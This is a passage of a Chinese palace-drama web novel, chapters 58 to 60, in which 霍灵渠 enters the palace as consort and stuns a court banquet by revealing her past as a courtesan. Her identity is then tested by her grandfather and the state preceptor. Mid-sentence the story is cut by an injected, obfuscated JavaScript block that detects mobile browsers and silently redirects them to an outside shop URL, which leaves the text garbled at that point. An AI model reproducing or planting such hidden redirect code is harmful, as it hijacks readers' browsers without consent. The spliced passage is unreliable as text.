晏霁之进屋看到这幕,眼中微酸,他强压压心里的难受,走近前抱住女人哄她莫哭;霍灵渠闭眼靠他怀里平复片刻,忍住哽咽等缓和得差不多了就跟男人出屋。 软轿停在蔚然居前,他们坐轿出府;来到王府外,世子爷的豪华马车也已经在候着了,晏诺兼做车夫和护卫。晏霁之带霍灵渠在车厢里坐稳当,晏诺即扬鞭出发。 早晨的街道热闹不绝于耳,一如新生的太阳洋溢着朝气勃勃。生机焕发的春光兴致勃勃跑进平稳向前行驶的豪华马车里却被车厢里的苦闷压抑得难受而迅速逃离了,在欢欣鼓舞的世界里,苦大仇深溢满离愁别绪的男女总是那么格格不入。 晏霁之抱着女人靠在车壁闭目养神,霍灵渠同样闭眼靠他怀里沉默,两人仿佛在比赛谁话少般各自再次沉默至极,而然谁又何尝不怕多交谈只言片语就会让压抑的难捱崩离? 一段路程,设想过多少遍也难抵御丝毫真正经历时的煎熬,而可怕的是这段路程的终点是令人更难忍的痛。晏霁之终于在听闻到达潜邸的禀告中睁开眼,下意识垂眸看怀中女人,视线相逢的刹那却又各自别开眼,霍灵渠眼圈微红抱紧行李,只听得他说:“下车吧。” 禁军统领在马车外等候,见到真正的贵妃娘娘,无声行过礼即引路;霍灵渠抱着包袱刚走两步就走不动,酝酿整个早晨的离情翻涌,她转身回望晏霁之。 晏霁之漾起笑意展现出最温柔的神态宽慰:“别怕,跟大统领去吧。” 霍灵渠吸吸鼻,低头平复会儿,在他们的催促声中她再看向晏霁之,张张唇想说些什么到底什么都没说,只是弯眼对男人笑笑,艰难转身,低头跟着他们走了。 晏霁之霎时间心酸翻滚怎么都遏制不住,眼眶红得胜似被风沙吹出泪意,他目送霍灵渠消失在他的视野里后闭眼,掏出手帕擦擦眼睛再睁开,微微仰头遥望湛蓝的天际,冷静说道:“流光,本名霍灵渠。” 站在侧的晏诺猛然一震,想宽慰主人然而掂量许多仍什么话都说不出,终低头沉默。 晏霁之再站定半刻钟后登马车,吩咐晏诺绕去潜邸正门,在街边寻处合适的位置停靠。 潜邸的正门前有禁军有看热闹的贵胄和百姓,热闹及拥堵程度比昨日在济善庵前更甚,满城都知道贵妃娘娘今早要入宫,只过来看看皇家的排场饱饱眼福见见世面都好啊。 白驹双驾马车只能远远停靠在最外边,晏霁之不在意,闭眼靠着车壁一点点强忍煎熬,不知熬过多久,晏诺禀告贵妃的仪仗队出来了,他掀起车窗帘而望,远远见得贵妃坐的富丽香车在禁军和宫人们的簇拥下驶向皇城,他再目送贵妃的车驾消失才吩咐:回府。 马车启动前行,掉落半斛殇,碎在车轮辗轧的浅痕里。 堵塞的街巷随着霍贵妃的仪仗队驶进皇城而逐渐通畅易行,和煦的阳光也随着时间的推进逐渐变得强烈耀眼,满城春晖争艳,皇家庆宴婀娜翩跹姹紫嫣红。 贺贵妃册封的宫宴定在未时在麟德殿举办,晏霁之跨进麟德殿的门槛时殿内熙熙攘攘,基本除了皇帝和他父皇母后以及能出席的宫妃们以外,众朝臣官眷都在了。 因此晏煦之看到堂哥就拉着他打量圈,确定他独自而来,恭维道:“我还以为你把你的流光姨娘悄悄带来了呢,我们午时出门你还要拖,再拖两三刻钟就舒坦了。” “我差点就不想来了。”晏霁之问:“都未时中了宫宴还不开始吗?” “可能要取消,贵妃的册封典礼刚结束,太后就赶到关雎宫看望侄女,没想到愣是吃到个闭门羹,兴献侯和老穆国公夫人赶过去也没能进门,所以太后和陛下商量想取消宫宴。”晏煦之手指指殿内的欢声笑语,叹道:“毕竟看热闹的没有八成也有七成。” “放心,就算九成九都是来幸灾乐祸的也不会取消。”驸马爷薛述聪凑过来,哼笑嘲弄:“霍家非要把霍灵渠抬到贵妃的位置上,那贵妃受得起得受着,受不起也得受着了。” 晏霁之放眼扫视遍看见霍蓁蓁身边围着许多姑娘,向薛述聪猜询:“你娘的手笔?”叫官眷姑娘们奉承谄媚助长人家争凤位的决心? 薛驸马伸出食指摇摇:“郭家,我娘看到兴起就推了把。一天,霍振羽兄妹与霍海啸决裂的传闻几乎都传遍了,可笑的是霍漓江都是事后才知道。没经过老爹同意就敢擅作主张,他们自己想找死、谁能阻得住?” 下刻殿外响起内侍唱名,身怀有孕的翁美人在众嫔妃中第一个到来。 大家伙互相瞧瞧都清楚宫宴不可能取消了,各寻各位置就坐。而随着翁美人到来,其他参宴的嫔妃和太妃们相继进殿,没过多久,皇帝携郭皇后、太上皇携霍太后进入麟德殿;殿内众人接驾后,皇帝吩咐平身赐座,总管太监再高喊:“宣霍贵妃进殿!” 闻言,在座多数人倒真有点摩拳擦掌的兴奋,满殿的视线皆看向高阔的殿门,然在看到款款进殿的宫装美人后,除了已知者,在场那么多人尽数愣住。 59. 第59章 霍灵渠一袭玫瑰红蹙金绣牡丹晓月凤尾鸾裙张扬华贵,绸缎般柔滑的青丝绾做惊鹄髻,鬓间珠围翠绕宝光熠熠,精美的金镶玉孔雀携珠步摇更似将殿外的灿烂金芒拢了进来,将她照耀得极尽辉煌也令满殿千姿百态的美丽尽显黯然,倾国红颜真如是也。 皇帝当前的嫔妃包括郭皇后连同新册封的霍贵妃共有八位,品阶最低的两位未出席,在座的五位即郭皇后、位列正二品且育有二皇子和三皇子的令愔夫人、皇长女的生母杭婕妤,同列从五品的霍才人霍鹣娇以及怀着龙胎的翁美人。 自授康二十六年被圣人赐进潜邸做侧妃,从潜邸到皇宫,六年多来令愔夫人长宠不衰;她以才情最盛,雅然意趣,高洁玉骨,而她的相貌比才情亦丝毫不逊,明眸善睐笑靥如花。只是她虽然自己就生得花容月貌,但对靠美色获宠自来看不上,此刻看到霍贵妃的震撼,连自己都没想到她会脱口而出:“回眸一笑百媚生,六宫粉黛无颜色①。” 杭婕妤倒知晓她和霍贵妃是同龄,原以为会看到戴面纱的都遮不住的丑陋,哪想到竟是能叫所有人都惊为天人的美丽,陛下册封霍贵妃原来是自愿呢。 翁美人二九年华,腮凝新荔、华容婀娜可谓秀色可餐,大腹便便也美得明艳照人。可她这会儿看得眼里心里都憋闷,孕妇忌生闷气都控制不住;她气阵儿瞟向身边这位贵妃的妹妹,她猜霍才人没准儿更不痛快呢,当她不知道她什么样儿啊。 何止不痛快,霍鹣娇都快抓狂了,堂姐做贵妃,侄女过五六年再做皇后,那她爹和太后姑母还能向着她吗?为什么这堂姐治愈伤疤这么大的事情都没人告诉她?! 无独有偶,霍鹣娇的同母亲姐霍鸳娇也在抓狂,有父亲宠爱,她就没把嫡长姐霍舒窈放在眼里过,可她爹竟然疼爱霍灵渠这侄女比疼爱她这亲女儿还多得多,她对上霍灵渠永远吃瘪连她姨娘亲自出马都没用。童年被霍灵渠死死压制的讨厌气愤排山倒海般喷涌,霍鸳娇几乎都想冲这堂妹吼:你为什么要治好伤疤回来?! 比起两位堂姐的气愤抓狂,霍蓁蓁的心情沉得多,她在震惊过后慢慢痛苦悲愤起来,她长姐治好伤疤这么大的事竟然都瞒着她,这样的姐姐做贵妃还能向着她吗?! 郭皇后更兼恐慌,她太清楚霍灵渠在霍家有多受疼爱,贵妃的容貌完好无损,太后绝对不会再等侄孙女,有老穆国公在肯定能令穆国公舍掉亲孙女捧霍灵渠,她该怎么办? 什么内情都不知的众位或惊艳感叹或憋闷暗恨或如穆国公夫人婆媳般纯粹高兴,霍舒窈可吓得心肝抖抖都想吐血了,老太爷霍擎都忍不住手掌颤抖;霍巨浪忽然感觉浑身冒凉气,偏偏倒霉弟弟还要傻乎乎兴奋:“二哥,三姐啥时候治好伤疤的?” 霍海啸犀利的眼神甚至带着凶狠劲儿盯着晏霁之,霍振羽近乎是同样的眼神紧盯过去。晏霁之低头忍煎熬忽略得轻而易举毫不犹豫,见过流光姨娘的晏姓人都盯着他,英王夫妇俩灼热的眼神都能把纸屑点燃烧起来了,他照样没影响地忽略。 英王晏墉气得都想即刻把儿子拎到殿外狠狠训顿,心里火烧火燎的,他看到霍贵妃的真面目惊得几乎头昏目眩,晏副相也没好到哪儿去,哪里想得到竟还有这么场‘好戏’。 晏煦之捂着脸,他都想回家哭老祖宗了。他媳妇和大姨姐更悲催,霍二奶奶看看丈夫的深沉再看看婆母和妯娌还很高兴,她感觉整个人都不好了,这事要怎么收场啊? 他们这批当中就属英王妃佟梦娴最简单,虽然她的眼神最凶狠,但她此刻就还只有被欺骗愚弄的愤怒和原本被她压着更恨得想除掉的儿子的小妾突然翻身的恨,以致她专注得,她妹妹顺郡王妃怎么给她使眼色都没反应,气得只能转而向二姐示意。 佟老夫人也还没想明白流光姨娘就是霍灵渠对她女儿佟梦姿和佟家意味着什么,她见此情景的第一反应是她孙女妙兮的淑妃位可能要泡汤了,第二反应就是这个霍贵妃是假冒的,她真想出面揭穿,全靠佟尚书和佟梦佶媳妇死死按压着才没闹出乱子。 佟尚书在得到幼子的禀告后心里腾起的火可比女婿英王猛烈多了,但好在还算镇定,他就不信二女儿能独自做出这种事还能瞒住霍家十多年?他猜很可能和梦姿没关系。 虽然父亲被罢官,父母没有进宫,但佟卓伦和佟妙兮兄妹都有随祖父祖母来参加宫宴,此时此刻佟妙兮满眼不可思议地瞩目会儿后不禁抚脸低头,霍蓁蓁比她生得漂亮,可她看霍蓁蓁就是草包根本不认为空有美貌能抵用,没想看到霍灵渠竟令她自惭形秽。 当凭美貌就能傲视天下时自然能令男人哪怕是皇帝趋之若鹜,美人是草包又何妨? 乐邑长公主一忍再忍忍到忍无可忍,伸手拧丈夫,薛述聪吃痛醒过神,耳语告诉她,惊吓得她险些喊出来幸亏被驸马爷及时捂住嘴巴。乐邑拍拍心口,向丈夫再确认时惊动公婆,平原大长公主听闻也惊得有些难以自持亏得被丈夫按住。 武襄侯心中微沉,毕竟小儿和小儿媳感情很好;他家小儿媳还没回来,霍家整体又是这么副全然不在意料的场面,还有什么不明白?螳螂捕蝉,皇帝才真正黄雀在后。 班丞相则在思量质疑怀疑:前些天在城郊的偶遇究竟是凑巧呢还是凑巧还是凑巧? 短短数十步距,霍灵渠目不斜视冷然走过,像走进荒芜又像走在泥潭中,放空的思绪又带着负重令她顺利漠视掉殿内所有视线只顾往前走。而贵妃镶金丝边的曳地裙摆划过大理石地砖也像在霍枫叶的眼帘里撕出条裂缝,让眼前和童年交融也让他慢慢红了眼眶。 在场最惊喜高兴莫过霍太后,贵妃款款走到玉阶前,向皇帝、皇后、太上皇、皇太后郑重行跪拜大礼参拜,她喜上眉梢心花怒放,激动得亲自走下玉阶扶起。 “起来起来、快起来,灵儿让姑母好好看看,真的治好了啊,一丝疤痕都没留下……”她看着霍灵渠完美的容颜简直欣喜若狂,大殿内所有人都能感受到太后多高兴。 穆国公霍秦川看着妹妹欢喜的劲儿头突然有点惨不忍睹,老太爷霍擎总算恢复平静,霍漓江却沉浸在自己的思绪中乃至像魂游般呆滞,佟梦姿收到提示吓得心惊肉跳,想向丈夫表明清白都没能叫他回神,有些关注的朝臣看来霍漓江都像傻掉了。 正徽帝嬴忱璧看向父亲,哪想见太上皇仿佛陷在回忆中,他直白盯着父皇都没反应。 少数敏感的朝臣也注意到圣人似乎有些不同寻常,出席宫宴的四位太妃更是都注意到了,班太妃陪着太上皇离得近,便想叫唤圣人不料被国师诲仰道长拦住。 皇帝收起投向父皇的视线转向太后,大半刻钟了,霍太后喜不自禁还沉浸其中,气得霍鹣娇愤愤扯手绢,翁美人笑逐颜开,憋闷的心情一扫而空。 “想来姑母是认错了,灵渠从未被烧伤,何来伤疤需医治?”霍灵渠克制住情绪,冷静下来就按演练的进行,霍太后自以为理解:“对对对,灵渠再也不会有疤痕,是姑母不该提,看看灵渠生得多美,天下再不会有比我家灵儿更美的姑娘了。” “姑母,灵渠从来没有被烧伤毁容也没有入过庵堂,授康十六年,霍家大火是阴谋。”霍灵渠美眸灼灼逼视,凛凛然掷地有声:“在今早之前我是英王世子晏霁之的宠妾流光,而在进英王府前,我是撷芳馆行首是风尘娼妓。” 话落瞬间陷入死寂,整座大殿沉得仿若有巨物砰然倒塌,又轻得似乎连呼吸都嫌重。 翁美人目瞪口呆几乎能囫囵吞鸡蛋,郭皇后不可思议得忘记高兴,在场四位太妃:晋王的生母庄太妃、吴王的生母蒙太妃、简郡王生母班太妃和儿女都已夭折的鞠太妃,全都或多或少有被惊住了,这位新册封的霍贵妃可知她自己到底在说什么吗? 哪怕流光和霍灵渠是同一人,只要霍家和晏家死死捂住就能变成两个毫不相干的人,何况自曝已非清白身,她霍贵妃还想在皇宫里在皇家在皇帝面前立足吗? 霍太后满脸惊恐地直愣愣跌退步,太上皇从沉思和记忆深处回归到眼前的现实,扫过眼前的情景又细细打量霍贵妃,他眼中疑窦丛生,连对皇帝的用意都押后了。 晋王看着这场好戏满意得笑了,落在魏王和显国公眼中,魏王也笑,显国公气得别开眼,这女婿就不知道想想此事将会在朝堂掀起多少波澜,皇帝能允许霍家退吗? 能看明白的朝臣们自然都看明白了,吏部尚书和郢国公皆隐晦地看眼依然冷峻的皇帝,就怕朝堂接下来要掀起惊涛骇浪,圣人都压不住。 此事冲击太大,霍蓁蓁听傻得还有点转圜不过来,霍雄鹰险些喷出刚饮的果酒,好在忍住重新咽入腹,猛吞还噎了,他也没管就拉着爹娘兄长们问什么情况怎么回事? 湘王就没那么多顾忌,吓得直接把刚嚼两下的果肉全喷出,坐他身边的媳妇湘王妃连忙拿手绢给他擦擦。他心焦地都把媳妇推开了,惊慌失措跑到母后身边,想呵斥眼前这个是假冒货是在危言耸听,可手指着她,挣扎半响也没能说出什么话。 穆国公世子夫人紧张得按丈夫的手臂询问,霍海啸闭眼默认,惊得房氏倒吸寒气,她父亲房侍郎看到这幕都有点慌,她祖父房副相和晏副相不经意对视眼都自感老脸惭愧。 霍枫叶自嘲自己真天真时被三哥猛地用力拽了拽,霍老夫人紧紧揪住她大儿媳的衣袖,老太太老眼亮得吓人而眼底隐隐有泪光,穆国公夫人崔氏突然怎么也说不出安抚的话。 英王晏墉气得都没眼看,英王妃脸慢腾腾涨红绝对憋怒火憋的;晏煦之颓丧得认命了,晏和之可不想认,心里愤愤骂:贵妃娘娘您这种不堪往事不是该死捂着吗,您登上高枝还提往事做什么啊啊啊??想当陌生人冷傲撇清都不行,气死他了。 霍舒窈被婆婆猛扯衣袖也气得没理会,好不容易能当贵妃,自己揭短这妹子是不是傻?而她丈夫可算理解媳妇为何那么关怀流光姨娘,然后他就更头疼了,这叫什么事嘛。 对霍鹣娇和霍鸳娇姐妹,可能还真能算好事呢。霍鹣娇震惊之余又燃起希望,霍鸳娇忽然间神清气爽,她就不信她爹还能疼爱这种做过娼妓早已没有清白的侄女。 建威侯府郭家众人也是舒坦了,郭皇后从震惊中恢复,悄悄长吁气,心里还是高兴的。令愔夫人倒没有幸灾乐祸而是惊奇探究,她怎么就敢自曝丑闻? 同样被牵扯其中的武襄侯府,侯三爷低头抹把脸有点沉重,侯四爷即假霍桑柔的丈夫心慌意识到他媳妇还没回来肯定出事了,急急抓住母亲的手臂摇晃,什么意思不言而喻。升平大长公主略带苦涩看向丈夫,武襄侯低叹:“我尽量和霍家谈谈。” 许多朝臣和官眷们看看霍家众人再看看晏家众人然后各自面面相觑会儿,还有部分人眼神开始往佟家瞟,这意味深长得可真是~~哎呦喂!佟卓伦兄妹豁然察觉到症结忙看向祖父,佟尚书摇头示意他们冷静,佟家没做过的事,谁也别想把脏水泼过来。 班丞相更被引出个让他悲催的联想,他就怀疑,不,是直觉,直觉怀疑霍贵妃可能也想把他捅出来拖下水,所以前几天在城郊偶遇到底是巧合呢还是巧合? 至此,皇帝和霍擎都准备打破沉寂之际,突然,霍太后犹如刚从浑噩中清醒般,整个人变得异常狠厉恐怖,淬毒般的目光射向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459251|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佟梦姿近乎像在恨杀害全家的死仇,在众人都没意料时猛冲过去,看得许多置身事外的官眷们都捏把冷汗,太后这模样委实有点瘆人。 佟梦姿吓得心惊胆寒狂喊丈夫,霍漓江抹把脸站起来被兄长拦住,穆国公出面阻拦强行握住妹妹的手腕劝她冷静被霍太后怒吼:“霍秦川,你给我让——” “行啦,让老爹先验过身份。”霍擎嫌糟心打断闺女也被反吼:“还验什么,我灵儿的脸明明白白摆着呢,除了我家灵渠之外谁还能生得这等绝色?” 霍太后心火愤怒烧旺到极点,恨得都要把他们给剁成肉泥了哪还能听得进劝:“霍秦川你给我去把那贱人和那两个贱种绑起来,霍漓江要是敢拦就把他给我剁了!” 在场众人几乎都被霍太后癫狂的怒火吓得有点愣愣的,霍蓁蓁吓傻了,英王妃也一时间没能做出任何反应就呆呆看,霍振羽握拳站出来想为母亲辩白被祖父拿拐杖敲回,霍擎准备亲自拦闺女时国师诲仰道长幽幽道:“太后想将兴献侯剁成几块,算贫道一份吧?” 在忍煎熬的晏霁之抬头,霍灵渠强忍的眼泪落下,抬手擦擦,低眉强忍住才没有回头看。霍太后怒得哪还能顾及打狗看主人的客套,当即无差别攻击,下瞬被沉默已久的太上皇拦住:“是该给贵妃验身份,邦儿扶你母后回位子坐,国丈先验证吧。” 湘王名嬴忱邦,他闻言忙向父皇应是然后快步去扶母后,霍太后憋闷地咬牙忍住了。 “叩谢圣人、陛下。”霍海啸陪祖父走到玉阶前跪谢过皇恩再扶祖父起来,霍擎挺直老腰转向眼前的女娃娃,如此近距离面对面时他忽然老眼直冒酸劲儿,握紧长孙的手臂强忍住才尽量平静提问:“老臣曾教过孙女祖父最喜欢什么,请问娘娘是什么?” 众目睽睽,满殿众人都看着贵妃眉眼含笑毫不犹豫答:“金元宝。” 这答案?还是很符合霍老太爷的风格,许多老臣想,果然看霍老太爷没有反驳而是再问:“老臣曾教过孙女祖父厉害的原因,请问娘娘,老臣为何厉害?” “祖父黑心。”霍灵渠仍然毫不迟疑,在场众人几乎都能感受到这份自信肯定,也令包括魏王和晋王在内的许多朝臣在心里恨恨骂霍擎你个老匹夫还知道自己黑心啊?! 答案不在正常人的设想范畴但多数人还就相信了这答案没错,果然看霍老太爷明显难受下继续提问:“老臣有四个儿子,三儿子挨老爹揍最多,请问娘娘是什么原因?” “三叔乖。”霍灵渠解释道:“爹爹惹祖父生气,祖父气得要揍爹爹,爹爹就会跑,祖父就更加生气必须把儿子揍顿才能消气。我爹跑,祖父就抓大伯和两位叔叔,可大伯也会跑,两位叔叔乖乖的不会跑,可小叔是老来子,您舍不得打,所以回回都是三叔挨揍。” 闻言,许多官员都觉得服的,霍擎可真有你的,假冒货能猜到这种答案就奇了怪了。 然而外人看热闹,对霍家许多位就是心酸了,老太爷霍擎心里骂声娘,抢过长孙的手帕胡乱抹把眼睛再低头忍哽咽:“舒窈小时候闹离家出走,为啥啊?” “大伯对大哥说灵渠是我们霍家最珍贵的姑娘,大哥应了。”霍灵渠垂眸,声音低低的:“姐姐生气要离家出走,第一回带着许多行李,怎样都走不出她的闺房。第二回,大姐吸取教训只带一个包裹还是没能走出府门,第三回时大姐偷拿走了雄鹰的金弹珠。 姐姐又想她离家出走放我在家里吃香喝辣得气死她,所以大姐又带灵渠一起离家出走。我们跑两条街后有些累了就逛街边的小吃摊,买样吃食给颗金弹珠,把金弹珠都花完了,爹和大哥突然冒出来说雄鹰得哭死,我们回家后雄鹰果真哭他的弹珠哭了好几天。” 被提起童年糗事的霍雄鹰现在都眼酸的有点想哭了,霍老太太老泪纵横靠在长媳怀里,霍太后气血翻腾全靠忍,忍到此刻已是极限:“爹,验证清楚没有,是灵渠没错吧?” “禀圣人、陛下、太后,贵妃是老臣的孙女灵渠。”最后几字咬字异常慢而坚定,霍擎忍住心酸悲痛回禀,随之而来的就是彻骨愤怒,他准备算账时诲仰道长再次出声:“圣人,刚刚贵妃娘娘走进麟德殿,贫道远远看来犹似故人归,贫道也想给贵妃验验身份。” 谁不信国师在纯属找茬呢?大概只有太上皇和霍漓江吧,因此霍擎直接越过太上皇就呛:“国师真会说笑,我家灵渠是俗世中人没兴趣做女道士怎么能像您的故人?” “兴献侯以为呢?”诲仰道长阴冷的目光直射霍漓江问:“贵妃像贫道的故人吗?刚刚贵妃进殿的神韵风仪像谁你还能记得吗,是贫道恍惚生出错觉了吗?” 殿内的氛围霎时有点微妙,霍擎心里咯噔声,皇帝皱眉,霍海啸自然也觉得有点怪异,霍漓江苦笑:“没有错觉,第一眼惊鸿一瞥,我几乎以为是灵渠的母亲。” 霍擎在心里骂娘,穆国公霍秦川头痛想能敷衍的理由,霍太后都当场冷静,霍灵渠神奇:“爹您说什么,我像我母亲,这怎么可能?我和母亲又没有血亲关系。” “寡人也是觉得奇怪。”出乎意料的,太上皇感叹:“贵妃进前细看的感觉虽然不强烈,可远观的风姿真像她的母亲当年,虽然二十多年了,寡人至今记忆犹深。” 霍灵渠惊了:“难道我是我母亲亲生的?”下刻就被她祖父怼:“你个小孩家家胡乱瞎想些什么,你母亲不能生,不然还能有这么多事吗?” “所以还是让国师给贵妃验验身份,毕竟,按理灵渠绝对不该像她的母亲。”太上皇笑意和善而不容置喙:“国师解开谜团,也能告慰灵渠她母亲的在天之灵。” 60. 第60章 霍灵渠在霍家被捧做掌珠有两点根由:第一,霍漓江视如命根;第二,霍太后移情。 在霍家那场大火前,所有知情者听闻者都能认同霍灵渠乃天下最幸运的庶女。年少轻狂,有几人会因少年爱慕就定终生基调?偏偏霍漓江真能如此。他少年时遇到毕生挚爱,挚爱因为不能生育而拒绝他,他就借腹生以表决心,女儿灵渠正是由此而来。 故而霍漓江从来就把女儿灵渠视作他和挚爱的骨血,挚爱早亡,女儿就变成他的命根;挚爱生前未曾嫁给他,他也仍然让灵渠称之为母亲,更是只能喊他挚爱之人为母亲,佟梦姿嫁进门只能得霍灵渠称呼声太太。 至于霍太后则简单得多,霍太后年轻时头胎生的女儿在出生当天就夭折,霍灵渠于此两日后出生,她认定霍灵渠就是她女儿投胎来的,自此将侄女灵渠视作亲女疼爱。 两点内情都不是秘密,谁有疑惑都能轻易打探清楚。由此,霍灵渠享尽连同伯父在内的长辈们的疼爱,顺理成章压倒大堂姐即嫡长孙女霍舒窈成为家族掌珠;三岁给公主做伴读,七岁得圣旨赐婚与皇子定亲,还能有皇亲贵胄们做童年玩伴。 这仿佛很合情理,庄太妃却敏感认为有古怪,盖因霍漓江所谓的挚爱只在传闻中。 二十多年前霍漓江宣称有挚爱但挚爱不能生育而决定借腹生时闹得满城风雨,可霍家竟然遮遮掩掩都不敢报出是哪家哪户的姑娘,这岂会不是掩人耳目的手段? 太上皇亲自证实前,庄太妃真就以为霍灵渠乃是霍漓江和亲妹乱~伦的孽种,只要她能找出证据,霍家就彻底完了;因此即使二十年都没收效,她也没放弃,不想竟然是她料错了,难怪她多年旁敲侧击暗示引导,圣人都未曾领悟过。 可这位会是谁呢,当年霍家遮遮掩掩,莫非是圣人也有意吗?可霍漓江难道不要命了,敢在圣人也有意的情况下相争?但圣人若是真有意,她怎会半点风声不曾耳闻,莫非是圣人在故意隐瞒?庄太妃越想越觉得可笑,圣人何至于帮霍家瞒得滴水不漏。 其他人没那么复杂的想法也是有些奇怪,毕竟都清楚霍灵渠和她这位母亲是什么情况,没有血亲关系的母女能相像吗?许多朝臣官眷们面面相觑会儿,有麽也有可能,除非霍漓江借腹生时挑的女人就像他那位挚爱,若真是如此,那就没什么稀奇了。 如此推论,多数人倒也能理解了,霍太后可心浮气躁给她爹使眼色,霍擎懒得理闺女,太上皇把话说到这份上还怎么回绝,想验就验,他就看能验出什么来。 “老臣谢圣人隆恩,只是老臣怪好奇,国师和灵渠的母亲有交情?” 太上皇肯定了,霍灵渠看着这个比童年记忆中亲和甚至能算慈眉善目的退位老皇帝,忽然就冒寒气,只要能揪出所有同道中人,他当真连亲骨肉都会毫不犹豫痛下杀手吗? 霍擎便再问问是什么交情,太上皇叹息:“什么情分啊?国师若不想提往事,寡人也不好透露,国丈想知道不如私下问兴献侯。” “那老臣还是不问了,霍漓江能和国师做情敌也是福分。”霍擎端着老脸笑成朵菊花,许多朝臣闻言就在心里骂老匹夫刁,不问你还摆明套话。 诲仰道长斜他眼冷嗤声,太上皇突然哈哈大笑:“国丈多虑、多虑了,你若是这么想,国舅只怕都要被你气活过来了。” “父皇,两位国舅爷就在您眼前都还好好活着呢。”晋王看热闹不嫌事大的拱火:“国丈若是把亲儿气死害得自己白发人送黑发人恐怕也得没了生趣,母后可怎么受得住?” “老七你浑说什么?!”湘王被成功挑火要反呛时穆国公霍秦川拦住:“王爷,晋王殿下年纪小不知道没出生前的往事才误会了,圣人方才提到的国舅乃是蜀王的舅舅。蜀王降生,圣人大喜,破例赐予恩典将蜀王的舅舅钦封为国舅。” 湘王愣住:“蜀王、三皇兄?” 魏王早就知道没什么波动,晋王不知,看向生母询问,庄太妃点头,也是平淡。 三十多年前的往事了,霍海啸和晏霁之他们还都是第一回听说,对此事能有记忆的除了如魏王般后来得知也就只有当时就知道的老臣。班丞相在授康元年时离调进京城还早着呢,他就不知道;显国公想起来也没在意,当时圣人兴起而已,穆国公不提他都忘记了。 武襄侯年长多少知道点内情,自是清楚破例封蜀王亲舅为国舅可不是圣人兴起那么简单;脑海浮现当年姬国舅的风采,虽然年久模糊,但远观贵妃还真能察觉出有姬国舅的神韵。 他皱眉瞥向晏家,姬国舅可是晏副相的父亲第一任英王请来的座上宾,霍家怎会搅和? 晋王惊讶过后笑起来:“原来除了任皇后的同胞兄弟和母后的两位兄长外,我朝还有位国舅爷啊。父皇,三皇兄这位舅舅是什么人,他既有本事得您青睐破例额外钦封为国舅,定是卓越出众,怎么儿臣从未听闻过?” 谁不相信晋王是故意省略掉郭皇后的兄弟?好些朝臣命妇们悄悄瞟几眼建威侯府众位,果然见他家集体脸黑,郭皇后更觉羞愤。杭婕妤轻瞥过她,心中好笑,霍家这么逼着你,你和建威侯府既然都没本事反击,还和这点虚名较劲有意思吗? 太上皇没作答而是看向穆国公,霍秦川会意道:“晋王殿下,这位国舅爷早在授康九年就已溘然辞世,逝者已矣,您何苦再打搅亡者安息?” 晋王挑眉凉凉睨他:“穆国公如此清楚,看来霍家与我三皇兄的外祖家交情匪浅啊。” “臣哪能比得过英王和晏副相与这位国舅爷有交情,如若王爷真有兴趣,不如向英王和晏副相请教。”霍秦川不带眨眼就使坏,英王晏墉差点想蹦起来骂他,晏副相站起来想打圆场时太上皇含怒呵斥:“好了,你小孩子打探那么多长辈的事做什么。” “父皇恕罪。”晋王憋屈更觉屈辱,他都二十多岁了还要被亲爹当做孩童来训。 晏霁之垂眸盖住眼中思绪,授康九年辞世、和他家有交情?莫非…… 霍漓江随后言明:“爹,国师是灵渠她母亲的弟弟,亲弟弟,灵儿该管国师叫舅舅。” “……” 老太爷霍擎在心里骂霍漓江个混球,这不成心想害老爹被这牛鼻老道挤兑死吗?霍灵渠惊诧看向她爹爹,晏霁之感叹这世间可真忌讳想当然,他都以为这两位是情敌。 众多猜测这俩是情敌的朝臣命妇们可不是被憋得不上不下,但霍太后可放心了,穆国公霍秦川心说你俩有种;霍海啸皱眉,圣人既怀疑灵渠像她母亲又为何提蜀王的舅舅? 魏王和晋王不约而同疑惑甚至担心,显国公和亲弟薛侍郎对视眼也各含古怪,保持中立的朝臣们都怪异,太上皇怎么会放任与霍家有如此渊源的道士在身边? 诲仰道长看向霍漓江表示点态度:“你倒是会给孩子认亲戚。” “二十四年前,灵渠还在襁褓中的时候,你也曾抱过孩子哄过孩子,你我可以成陌路,可灵渠是她母亲留在世间最后的眷念,你再不愿意面对也否认不掉这孩子是你的外甥女。”霍漓江眼含警告:“何苦再搅得灵渠她母亲九泉下都难安。” “难安,你可真有脸?!”诲仰道长讥讽:“女儿的母亲死了,你得封兴献侯;你没照顾好你们的女儿害得孩子漂泊十多年受尽苦楚磨难,你怪我想害孩子的母亲死后难安?” 霍漓江默然别开眼,庄太妃隐晦注视着果然看到太上皇神情有点不自然,她就奇怪当年圣人怎么会贸贸然想要给霍漓江赐侯爵,原来情由皆在此呢。 许多也曾经就奇怪或只以为是圣人给霍家恩典的看客们恍然惊悟,合着霍漓江得封侯爵是和霍灵渠的母亲有关系啊,在场不知多少位都已经能脑补出两男争女的曲折戏码了。 “呃,那个弟弟,不,大侄儿,大侄儿你见谅你多包涵,当年的事情,咱谁都不想。”霍擎调整好心态代为赔罪:“霍漓江做的是霸道但他真是真心的,他活到现在都没那回真,他对爹娘兄弟加起来都没对灵渠母亲真心,这只能是缘分来了挡不住。” “缘分?”诲仰道长问:“所以老国公怀疑我和霍漓江是情敌么,这得是什么的缘分,你还当谁都像霍漓江吗?” 霍擎老太爷硬生生被憋得苦哈哈的辩解:“谁叫大侄儿你做道士了呢。” 薛驸马险些笑出声,穆国公霍秦川倒是察觉了国师没有恶意反而是善意,唯有把圣人的疑惑挑破才能控制事态由他们主导,否则任由圣人猜疑只会对灵渠和霍家不利。 虽然在当众谈论霍漓江曾经的深情,做他妻子的佟梦姿和做他岳家的佟家也未觉难堪,看客们都没想笑话揶揄他们,毕竟二十多年人尽皆知的事,何况还有当年霍漓江议亲时提的能赶跑大片大片人家的要求:必须把他女儿灵渠当小祖宗供着。 想到这要求,认为是佟家谋划阴谋的观众们有理解也有鄙薄者,霍家的条件摆着,佟家不能接受何必结亲?假意接受、结亲后无论怎样施为都不能改变就害霍灵渠,要脸吗? 